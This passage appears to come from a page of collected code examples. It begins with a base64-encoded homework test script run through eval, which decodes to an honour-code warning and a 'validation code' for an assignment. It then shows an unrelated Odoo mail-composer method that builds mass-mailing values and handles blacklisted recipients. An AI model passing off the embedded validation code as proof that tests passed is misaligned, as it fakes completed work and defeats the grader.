vZGVzIHJ1bm5pbmciCiAgICByZXR1cm4gVHJ1ZQoKZGVmIGdyYWNlZnVsX2V4aXQoaSk6CiA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cmUgdmlvbGF0aW5nIHRoZSBob25vciBjb2RlLgogICAgIyBZb3UgY2FuIHN0aWxsIHJlZGVlbSB5b3Vyc2VsZi4gR2V0IGl0IHdvcmtpbmcgYW5kIGRvbid0IHN1Ym1pdCB0aGUgdmFsaWRhdGlvbiBjb2RlIHVudGlsIHlvdSBkby4KICAgICMgQWxsIGEgbWFuIGhhcyBhdCB0aGUgZW5kIG9mIHRoZSBkYXkgaXMgaGlzIHdvcmQuCiAgICBwcmludCAiVGVzdHMgUGFzc2VkIGZvciBIVyA2LjUuIFlvdXIgSFcgNi41IHZhbGlkYXRpb24gY29kZSBpcyBDb25ncmF0c1lvdVJvY2syMDEyIgogICAgZ3JhY2VmdWxfZXhpdCgwKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oc3lzLmFyZ3ZbMTpdKQoKCgoKCgoK"
eval(compile(base64.b64decode(code), "<string>", 'exec'))




示例#60
0
    def get_mail_values(self, res_ids):
        """Generate the values that will be used by send_mail to create mail_messages
        or mail_mails. """
        self.ensure_one()
        results = dict.fromkeys(res_ids, False)
        rendered_values = {}
        mass_mail_mode = self.composition_mode == 'mass_mail'

        # render all template-based value at once
        if mass_mail_mode and self.model:
            rendered_values = self.render_message(res_ids)
        # compute alias-based reply-to in batch
        reply_to_value = dict.fromkeys(res_ids, None)
        if mass_mail_mode and not self.no_auto_thread:
            records = self.env[self.model].browse(res_ids)
            reply_to_value = self.env['mail.thread']._notify_get_reply_to_on_records(default=self.email_from, records=records)

        blacklisted_rec_ids = []
        if mass_mail_mode and issubclass(type(self.env[self.model]), self.pool['mail.thread.blacklist']):
            BL_sudo = self.env['mail.blacklist'].sudo()
            blacklist = set(BL_sudo.search([]).mapped('email'))
            if blacklist:
                targets = self.env[self.model].browse(res_ids).read(['email_normalized'])
                # First extract email from recipient before comparing with blacklist
                blacklisted_rec_ids.extend([target['id'] for target in targets
                                            if target['email_normalized'] and target['email_normalized'] in blacklist])

        for res_id in res_ids:
            # static wizard (mail.message) values
            mail_values = {
                'subject': self.subject,
                'body': self.body or '',
                'parent_id': self.parent_id and self.parent_id.id,
                'partner_ids': [partner.id for partner in self.partner_ids],
                'attachment_ids': [attach.id for attach in self.attachment_ids],
                'author_id': self.author_id.id,
                'email_from': self.email_from,
                'record_name': self.record_name,
                'no_auto_thread': self.no_auto_thread,
                'mail_server_id': self.mail_server_id.id,
                'mail_activity_type_id': self.mail_activity_type_id.id,
            }

            # mass mailing: rendering override wizard static values
            if mass_mail_mode and self.model:
                record = self.env[self.model].browse(res_id)
                mail_values['headers'] = record._notify_email_headers()
                # keep a copy unless specifically requested, reset record name (avoid browsing records)
                mail_values.update(notification=not self.auto_delete_message, model=self.model, res_id=res_id, record_name=False)
                # auto deletion of mail_mail
                if self.auto_delete or self.template_id.auto_delete:
                    mail_values['auto_delete'] = True
                # rendered values using template
                email_dict = rendered_values[res_id]
                mail_values['partner_ids'] += email_dict.pop('partner_ids', [])
                mail_values.update(email_dict)
                if not self.no_auto_thread:
                    mail_values.pop('reply_to')
                    if reply_to_value.get(res_id):
                        mail_values['reply_to'] = reply_to_value[res_id]
                if self.no_auto_thread and not mail_values.get('reply_to'):
                    mail_values['reply_to'] = mail_values['email_from']
                # mail_mail values: body -> body_html, partner_ids -> recipient_ids
                mail_values['body_html'] = mail_values.get('body', '')
                mail_values['recipient_ids'] = [(4, id) for id in mail_values.pop('partner_ids', [])]

                # process attachments: should not be encoded before being processed by message_post / mail_mail create
                mail_values['attachments'] = [(name, base64.b64decode(enc_cont)) for name, enc_cont in email_dict.pop('attachments', list())]
                attachment_ids = []
                for attach_id in mail_values.pop('attachment_ids'):
                    new_attach_id = self.env['ir.attachment'].browse(attach_id).copy({'res_model': self._name, 'res_id': self.id})
                    attachment_ids.append(new_attach_id.id)
                attachment_ids.reverse()
                mail_values['attachment_ids'] = self.env['mail.thread']._message_post_process_attachments(
                    mail_values.pop('attachments', []),
                    attachment_ids,
                    {'model': 'mail.message', 'res_id': 0}
                )['attachment_ids']
                # Filter out the blacklisted records by setting the mail state to cancel -> Used for Mass Mailing stats
                if res_id in blacklisted_rec_ids:
                    mail_values['state'] = 'cancel'
                    # Do not post the mail into the recipient's chatter
                    mail_values['notification'] = False

            results[res_id] = mail_values
        return results